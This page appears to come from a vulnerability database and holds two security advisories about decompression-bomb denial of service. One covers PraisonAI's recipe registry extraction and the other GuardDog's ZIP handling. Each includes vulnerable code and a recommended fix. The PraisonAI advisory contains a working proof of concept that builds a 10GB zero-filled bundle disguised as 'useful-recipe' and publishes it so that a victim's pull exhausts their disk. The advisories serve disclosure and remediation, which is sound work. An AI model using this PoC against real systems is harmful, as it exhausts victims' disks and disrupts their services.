for member in tar.getmembers():
member_path = Path(member.name)
# Reject absolute paths
if member_path.is_absolute():
raise RegistryError(...)
# Reject '..' components
if '..' in member_path.parts:
raise RegistryError(...)
# Reject resolved paths escaping dest_dir
resolved = (dest_resolved / member_path).resolve()
if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
raise RegistryError(...)
# All members validated — safe to extract
tar.extractall(dest_dir) # <-- No size limit
The function iterates all tar members and checks for path traversal (absolute paths, .. components, resolved path escaping), but never inspects member.size. The TarInfo.size attribute is available on every member and represents the uncompressed size, but it is never read.
This function is called from two locations:
- LocalRegistry.pull() at line 396-397
- HttpRegistry.pull() at line 791-792
The publish() method at line 296-298 only copies the compressed bundle via shutil.copy2(), so the bomb only detonates when a victim calls pull().
No size limits, upload quotas, or decompression guards exist anywhere in the registry module.
PoC
# Step 1: Create a malicious recipe bundle
mkdir bomb && cd bomb
cat > manifest.json << 'EOF'
{"name": "useful-recipe", "version": "1.0.0", "description": "Helpful AI recipe", "tags": ["ai"], "files": ["agent.yaml"]}
EOF
# Create a 10GB file of zeros (compresses to ~10MB with gzip)
dd if=/dev/zero of=agent.yaml bs=1M count=10240
# Bundle it as a .praison file
tar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml
cd ..
# Step 2: Publish to local registry (~10MB stored)
python -c "
from praisonai.recipe.registry import LocalRegistry
reg = LocalRegistry()
reg.publish('useful-recipe-1.0.0.praison')
"
# Step 3: Victim pulls — extracts 10GB to disk
python -c "
from praisonai.recipe.registry import LocalRegistry
reg = LocalRegistry()
reg.pull('useful-recipe')
"
# Result: 10GB+ written to disk, potential disk exhaustion
Impact
- Disk exhaustion: A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim's disk and causing denial of service for PraisonAI and potentially other applications on the same system.
- No authentication required: The local registry has no access controls on
publish(), and HTTP registry bundles are fetched from remote servers that the attacker controls. - Silent detonation: The extraction happens automatically during
pull()with no progress indication or size warning to the user.
Recommended Fix
Add a maximum extraction size limit to _safe_extractall():
MAX_EXTRACT_SIZE = 500 * 1024 * 1024 # 500MB
MAX_MEMBER_COUNT = 1000
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
dest_resolved = dest_dir.resolve()
members = tar.getmembers()
if len(members) > MAX_MEMBER_COUNT:
raise RegistryError(
f"Archive contains too many members ({len(members)} > {MAX_MEMBER_COUNT})"
)
total_size = 0
for member in members:
member_path = Path(member.name)
if member_path.is_absolute():
raise RegistryError(
f"Refusing to extract absolute path in archive: {member.name}"
)
if '..' in member_path.parts:
raise RegistryError(
f"Refusing to extract path traversal in archive: {member.name}"
)
resolved = (dest_resolved / member_path).resolve()
if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
raise RegistryError(
f"Refusing to extract path escaping target directory: {member.name}"
)
total_size += member.size
if total_size > MAX_EXTRACT_SIZE:
raise RegistryError(
f"Archive extraction would exceed size limit "
f"({total_size} > {MAX_EXTRACT_SIZE} bytes)"
)
tar.extractall(dest_dir)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.128"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40148"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:26:21Z",
"nvd_published_at": "2026-04-09T22:16:35Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `_safe_extractall()` function in PraisonAI\u0027s recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling `tar.extractall()`. An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim\u0027s disk when pulled via `LocalRegistry.pull()` or `HttpRegistry.pull()`.\n\n## Details\n\nThe vulnerable function is `_safe_extractall()` at `src/praisonai/praisonai/recipe/registry.py:131-162`:\n\n```python\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -\u003e None:\n dest_resolved = dest_dir.resolve()\n for member in tar.getmembers():\n member_path = Path(member.name)\n # Reject absolute paths\n if member_path.is_absolute():\n raise RegistryError(...)\n # Reject \u0027..\u0027 components\n if \u0027..\u0027 in member_path.parts:\n raise RegistryError(...)\n # Reject resolved paths escaping dest_dir\n resolved = (dest_resolved / member_path).resolve()\n if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n raise RegistryError(...)\n # All members validated \u2014 safe to extract\n tar.extractall(dest_dir) # \u003c-- No size limit\n```\n\nThe function iterates all tar members and checks for path traversal (absolute paths, `..` components, resolved path escaping), but never inspects `member.size`. The `TarInfo.size` attribute is available on every member and represents the uncompressed size, but it is never read.\n\nThis function is called from two locations:\n- `LocalRegistry.pull()` at line 396-397\n- `HttpRegistry.pull()` at line 791-792\n\nThe `publish()` method at line 296-298 only copies the compressed bundle via `shutil.copy2()`, so the bomb only detonates when a victim calls `pull()`.\n\nNo size limits, upload quotas, or decompression guards exist anywhere in the registry module.\n\n## PoC\n\n```bash\n# Step 1: Create a malicious recipe bundle\nmkdir bomb \u0026\u0026 cd bomb\n\ncat \u003e manifest.json \u003c\u003c \u0027EOF\u0027\n{\"name\": \"useful-recipe\", \"version\": \"1.0.0\", \"description\": \"Helpful AI recipe\", \"tags\": [\"ai\"], \"files\": [\"agent.yaml\"]}\nEOF\n\n# Create a 10GB file of zeros (compresses to ~10MB with gzip)\ndd if=/dev/zero of=agent.yaml bs=1M count=10240\n\n# Bundle it as a .praison file\ntar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml\ncd ..\n\n# Step 2: Publish to local registry (~10MB stored)\npython -c \"\nfrom praisonai.recipe.registry import LocalRegistry\nreg = LocalRegistry()\nreg.publish(\u0027useful-recipe-1.0.0.praison\u0027)\n\"\n\n# Step 3: Victim pulls \u2014 extracts 10GB to disk\npython -c \"\nfrom praisonai.recipe.registry import LocalRegistry\nreg = LocalRegistry()\nreg.pull(\u0027useful-recipe\u0027)\n\"\n# Result: 10GB+ written to disk, potential disk exhaustion\n```\n\n## Impact\n\n- **Disk exhaustion:** A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim\u0027s disk and causing denial of service for PraisonAI and potentially other applications on the same system.\n- **No authentication required:** The local registry has no access controls on `publish()`, and HTTP registry bundles are fetched from remote servers that the attacker controls.\n- **Silent detonation:** The extraction happens automatically during `pull()` with no progress indication or size warning to the user.\n\n## Recommended Fix\n\nAdd a maximum extraction size limit to `_safe_extractall()`:\n\n```python\nMAX_EXTRACT_SIZE = 500 * 1024 * 1024 # 500MB\nMAX_MEMBER_COUNT = 1000\n\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -\u003e None:\n dest_resolved = dest_dir.resolve()\n members = tar.getmembers()\n \n if len(members) \u003e MAX_MEMBER_COUNT:\n raise RegistryError(\n f\"Archive contains too many members ({len(members)} \u003e {MAX_MEMBER_COUNT})\"\n )\n \n total_size = 0\n for member in members:\n member_path = Path(member.name)\n if member_path.is_absolute():\n raise RegistryError(\n f\"Refusing to extract absolute path in archive: {member.name}\"\n )\n if \u0027..\u0027 in member_path.parts:\n raise RegistryError(\n f\"Refusing to extract path traversal in archive: {member.name}\"\n )\n resolved = (dest_resolved / member_path).resolve()\n if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n raise RegistryError(\n f\"Refusing to extract path escaping target directory: {member.name}\"\n )\n total_size += member.size\n if total_size \u003e MAX_EXTRACT_SIZE:\n raise RegistryError(\n f\"Archive extraction would exceed size limit \"\n f\"({total_size} \u003e {MAX_EXTRACT_SIZE} bytes)\"\n )\n tar.extractall(dest_dir)\n```",
"id": "GHSA-f2h6-7xfr-xm8w",
"modified": "2026-04-10T19:26:21Z",
"published": "2026-04-10T19:26:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f2h6-7xfr-xm8w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40148"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Vulnerable to Decompression Bomb DoS via Recipe Bundle Extraction Without Size Limits"
}
GHSA-FFJ4-JQ7M-9G6V
Vulnerability from github – Published: 2026-01-13 21:54 – Updated: 2026-01-13 21:54Summary
GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.
Vulnerability Details
Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local
Root Cause
The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:
elif zipfile.is_zipfile(source_archive):
with zipfile.ZipFile(source_archive, "r") as zip:
for file in zip.namelist():
zip.extract(file, path=os.path.join(target_directory, file))
Missing protections:
- ❌ No decompressed size limit
- ❌ No compression ratio validation
- ❌ No file count limits
- ❌ No total extracted size validation
Impact
Denial of Service Scenarios
1. CI/CD Pipeline Disruption - Attacker publishes malicious package to PyPI - Developer adds package to requirements.txt - CI/CD runs GuardDog scan - Disk fills (GitHub Actions: standard 14GB limit) - All deployments blocked
2. Resource Exhaustion
- Local development environments
- Security scanning infrastructure
- Automated scanning systems
- Docker containers with limited disk
3. Supply Chain Attack Amplification - Single malicious package blocks security scanning - Prevents detection of other malicious packages - Forces manual intervention - Increases security team workload
Recommended Fix
Add size validation for ZIP files similar to what tarsafe provides for TAR files
Configuration Options
Make limits configurable via environment variables or config file
Additional Improvements
- Add warning logs when archives approach limits
- Provide clear error messages for users
- Document limits in user-facing documentation
- Add tests for zip bomb detection
- Consider using a safe ZIP library (similar to tarsafe)
Credit
Reported by: Charbel (dwbruijn)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "guarddog"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22870"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T21:54:41Z",
"nvd_published_at": "2026-01-13T21:15:55Z",
"severity": "HIGH"
},
"details": "## Summary\n\nGuardDog\u0027s `safe_extract()` function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.\n\n## Vulnerability Details\n\n**Affected Component:** `guarddog/utils/archives.py` - `safe_extract()` function \n**Vulnerability Type:** CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb) \n**Severity:** HIGH (CVSS ~8) \n**Attack Vector:** Network (malicious package uploaded to PyPI/npm) or local\n\n### Root Cause\n\nThe `safe_extract()` function handles TAR files securely using the `tarsafe` library, but ZIP file extraction has no size validation:\n```python\nelif zipfile.is_zipfile(source_archive):\n with zipfile.ZipFile(source_archive, \"r\") as zip:\n for file in zip.namelist():\n zip.extract(file, path=os.path.join(target_directory, file))\n```\n\n**Missing protections:**\n- \u274c No decompressed size limit\n- \u274c No compression ratio validation \n- \u274c No file count limits\n- \u274c No total extracted size validation\n\n## Impact\n\n### Denial of Service Scenarios\n\n**1. CI/CD Pipeline Disruption**\n- Attacker publishes malicious package to PyPI\n- Developer adds package to requirements.txt\n- CI/CD runs GuardDog scan\n- Disk fills (GitHub Actions: standard 14GB limit)\n- All deployments blocked\n\n**2. Resource Exhaustion**\n- Local development environments\n- Security scanning infrastructure \n- Automated scanning systems\n- Docker containers with limited disk\n\n**3. Supply Chain Attack Amplification**\n- Single malicious package blocks security scanning\n- Prevents detection of other malicious packages\n- Forces manual intervention\n- Increases security team workload\n\n## Recommended Fix\n\nAdd size validation for ZIP files similar to what `tarsafe` provides for TAR files\n\n### Configuration Options\n\nMake limits configurable via environment variables or config file\n\n## Additional Improvements\n\n1. **Add warning logs** when archives approach limits\n2. **Provide clear error messages** for users\n3. **Document limits** in user-facing documentation\n4. **Add tests** for zip bomb detection\n5. **Consider using a safe ZIP library** (similar to tarsafe)\n\n## Credit\n\nReported by: Charbel (dwbruijn)",
"id": "GHSA-ffj4-jq7m-9g6v",
"modified": "2026-01-13T21:54:42Z",
"published": "2026-01-13T21:54:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DataDog/guarddog/security/advisories/GHSA-ffj4-jq7m-9g6v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22870"
},
{
"type": "WEB",
"url": "https://github.com/DataDog/guarddog/commit/c3fb07b4838945f42497e78b7a02bcfb1e63969b"
},
{
"type": "PACKAGE",
"url": "https://github.com/DataDog/guarddog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GuardDog Zip Bomb Vulnerability in safe_extract() Allows DoS"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.